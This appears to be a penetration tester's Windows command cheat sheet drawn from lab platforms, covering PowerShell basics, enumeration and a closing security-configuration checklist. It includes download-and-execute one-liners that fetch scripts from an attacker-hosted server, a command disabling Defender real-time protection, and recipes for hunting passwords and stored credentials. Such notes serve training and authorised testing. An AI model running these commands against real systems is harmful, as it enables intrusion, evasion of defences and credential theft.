Useful commands in Powershell, CMD and Sysinternals

Powershell Overview

  • Cmdlet format: Verb-Noun the output of these cmdlets are objects

  • Commom verbs: Get, Start, Stop, Read, Write, New, Out.

  • Get-Command to list all commands

    • Get-Command Verb-* or Get-Command *-Noun to filter the command

  • Get-Help Command-Name will output help on a command.

Object manipulation

  • | Pass output from one cmdlet to another

  • An object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet

  • Verb-Noun | Get-Member output methods and properties of the cmdlet

    • Example: Get-Command | Get-Member -MemberType Method

  • One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.

    • Example: Get-ChildItem | Select-Object -Property Mode, Name listing the directories and just selecting the mode and the name.

Useful flags

  • first - gets the first x object

  • last - gets the last x object

  • unique - shows the unique objects

  • skip - skips x objects

Filtering objects

  • Verb-Noun | Where-Object -Property PropertyName -operator Value

  • Verb-Noun | Where-Object {$_.PropertyName -operator Value} uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.

  • Operators: Contains If any item in the property value is an exact match for the specified value/, EQ If the property value is the same as the specified value, GT If the property value is greater than the specified value

  • Full list of operators here

  • Example: Get-Service | Where-Object -Property Status -eq Stopped Checking the stopped processes

Sort objects

  • Verb-Noun | Sort-Object

  • Example: Get-ChildItem | Sort-Object sorting the list of directories

Source: TryHackMe - Throwback

Downloading files

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file (works also in cmd)

  PS C:\Users\users\Desktop> certutil.exe -urlcache -f powerview.ps1
  ****  Online  ****
  CertUtil: -URLCache command completed successfully.
  • wget http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need -OutFile name-you-want-to-give-the-file

  PS C:\Users\user\Desktop> wget -OutFile powerview.ps1
  • iex (New-Object Net.WebClient).DownloadString('http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need') will load it in memory without writing it in the disk, we will the be able to run powerview command if we use it to load powerview for instance

  PS C:\Users\s.chisholm.mayorsec\Desktop> iex (New-Object Net.WebClient).DownloadString('')

Offensive Powershell

Disable AV

  • Set-MpPreference -DisableRealtimeMonitoring $true

Using modules

  • Import-Module Module

  • . .\Module.ps1


  • For manual enumeration with powershell check out my article here

Powershell Remoting

  • Enter-PSSession -ComputerName workstation-01

  • Enter-PSSession -ComputerName workstation-01 -Credential domain\Username

  • Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName workstation-01 -Credential domain\Username connect to a remote powershell and excute command with ScriptBlock. other command we could do with scriptblock: ipconfig, net user,...

  • Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections List AppLocker rules


  • Install-Module ActiveDirectoryModule -ScopeCurrentUser Install a module without admin rights

  • Get-MpComputerStatus Check Windows Defender Status

  • Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone Test AppLocker policy

  • Get-HotFix | ft -AutoSize display hotfixes

  • Get-WmiObject -Class Win32_Product | select Name, Version display installed software

  • gci (Get-ChildItem) list named pipes

  • select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password Search file contents

  • Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore search for file extensions

  • View Sticky Notes data

    PS C:\htb> cd .\PSSQLite\
    PS C:\htb> Import-Module .\PSSQLite.psd1
    PS C:\htb> $db = 'C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
    PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
  • Enumerate schedule task with Get-ScheduledTask Get-ScheduledTask | select TaskName,State

  • Get-LocalUser check the description field of local users

  • Get-WmiObject -Class Win32_OperatingSystem | select Description Print computer description fields


Downloading files

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file

  • curl.exe -o name-you-want-to-give-the-file http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need

Encode and Decode files

  • certutil -encode file1 encodedfile

  • certutil -decode encodedfile file2

System Enumeration

  • If we want to grep on specific information we can use findstr systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

    c:\>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" 
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    OS Name:                   Microsoft Windows 7 Enterprise 
    OS Version:                6.1.7600 N/A Build 7600
    System Type:               X86-based PC
  • If we want to see patches and update wmic qfe

    • wmic qfe get Caption,Description,HotFixID,InstalledOn

  • List the drives wmic logicaldisk list drives

  • schtasks query scheduled task

    • schtasks /query /fo LIST /v

  • driverquery will list installed drivers

  • tasklist /svc get the list of running processes

  • set display all environment variables

  • wmic product get name display installed software

  • icacls c:\Windows\System32\config\SAM check permissions on the SAM file

  • [environment]::OSVersion.Version check OS version

  • cmd /c echo %PATH% review path variable

User Enumeration

  • whoamiwill give info on the current user

  • whoami /priv will give info on the current user and their priv

  • whoami /groups will give info on groups the current user is in

  • net user or net users will list the user on the machine

  • query user logged in users

  • echo %USERNAME% current user

  • net user username will list info about the with the username mentionned

  • net localgroup net localgroup groupname will give info on group

  • qwinsta or query session other users logged in simultaneously

  • net accounts Get Password Policy & Other Account Information

Network Enumeration

  • ipconfig or ipconfig /all

  • arp -a

  • route print

  • netstat -ano list active connections

    • -a: Displays all active connections and listening ports on the target system.

    • -n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.

    • -o: Displays the process ID using each listed connection.

    • Any port listed as “LISTENING” that was not discovered with the external port scan can present a potential local service. This is when we might need to use port forwarding to investigate the service.

  • Check what service runs on a specific port (in the example we will use 8080

Scan ports

Hunting passwords

  • findstr /si password *.txt will search for the string "password" in txt files /si means it searches in the current directory and all subdirectories (s) and ignore the case (i).

  • findstr /si password *.txt *.ini *.config *.sql same but also in ini, sql and config files

  • findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml Search file contents for string

  • findstr /spin "password" *.* another way

  • Unattend.xml files might have passwords in plaintext or base64 encoded

  • C:\Users\username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt powershell cmd history is also worth looking at

    • To check where it is we can use this command (Get-PSReadLineOption).HistorySavePath

    • We can try to read it gc (Get-PSReadLineOption).HistorySavePath

    • foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue} Retrieve the contents of all Powershell history files that we can access as our current user

  • Powershell credentials are protected with DPAPI. If we can read them we could recover then in cleartext

    • $credential = Import-Clixml -Path 'C:\scripts\pass.xml'

    • $credential.GetNetworkCredential().username

    • $credential.GetNetworkCredential().password

  • dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* search for file extensions

  • where /R C:\ *.config another way

  • C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite Looking for passwords in Sticky notes

  • strings plum.sqlite-wal Using strings to view DB File contents

  • Other files worth checking

%WINDIR%\repair\software, %WINDIR%\repair\security
C:\Program Files\Windows PowerShell\*
  • cmdkey /list list saved credentials

  • runas /savecred /user:domain\user "COMMAND HERE" run command as another user

AV Enumeration

  • sc query windefend will show if Defender is running

  • sc queryex type= service will list all running service

  • netsh advfirewall firewall dump check for firewall

  • netsh firewall show state similar older command

  • netsh firewall show config will show the config of the firewall, useful to see blocked ports and other

Execute dll files

Execute powershell file

  • Sometimes powershell won't launch so we will have to use cmd. It is possible to execute a ps1 script using this trick

    • We take the necessary script in our attacking machine

    • python3 -m http.server 80 we serve it to our target with an http server

    • echo IEX(New-Object Net.WebClient).DownloadString('http://ATTACK-MACHINE-IP/script.ps1 we can use this command to download and execute it in our target.

  • powershell -file file.ps1



Pipelist is useful to enumerate instances of pipes

  • pipelist.exe /accepteula enumerate instances of named pipes.


Accesschk is useful to enumerate permissions

  • accesschk.exe /accepteula

  • accesschk.exe -wuvc Everyone * list service we can write and to which everyone has access

  • .\accesschk64.exe /accepteula -uwdq "C:\Program Files\" List of user groups with read and write privs


schtasks will let us enumerate scheduled tasks

  • schtasks /query /fo LIST /v

LOLBAS (living off the land binaries)

Security configuration review

Access control

# List all local user accounts
Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Disabled

# List all local groups
Get-WmiObject -Class Win32_Group | Select-Object Name,LocalAccount

# Check permissions on sensitive files or folders
Get-Acl -Path C:\Path\To\FileOrFolder

Password policy

# Retrieve password policy settings

# Check for password expiration settings
Get-ADDefaultDomainPasswordPolicy | Select-Object MaxPasswordAge

# Check for password complexity requirements
Get-ADDefaultDomainPasswordPolicy | Select-Object ComplexityEnabled

Patch management

# Check for installed updates

# List missing updates

Firewall Configuration

# List all firewall rules in a file
Get-NetFirewallRule | Out-File C:\Path\To\firewall-rules.txt

# Check specific rule properties
Get-NetFirewallRule -DisplayName "RuleName"

Antivirus and anti-malware

# Check antivirus status
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct

# Check last scan time
Get-CimInstance -Namespace "root\SecurityCenter2" -ClassName AntiVirusProduct

Event logging review

# List security event logs
Get-EventLog -LogName Security -Newest 100

# Check for specific event IDs related to security incidents
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4625}

Encryption review

# Check BitLocker status

# Check BitLocker encryption method
Get-BitLockerVolume | Select-Object MountPoint,EncryptionMethod

Remote Access Review

# List RDP settings
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections'

# Check RDP port configuration
Get-NetFirewallRule -DisplayName "Remote Desktop*"

Service configuration

# List all services

# Check service startup type
Get-Service | Select-Object Name,StartType

Backup and recovery

# Check backup status

# Verify backup destination


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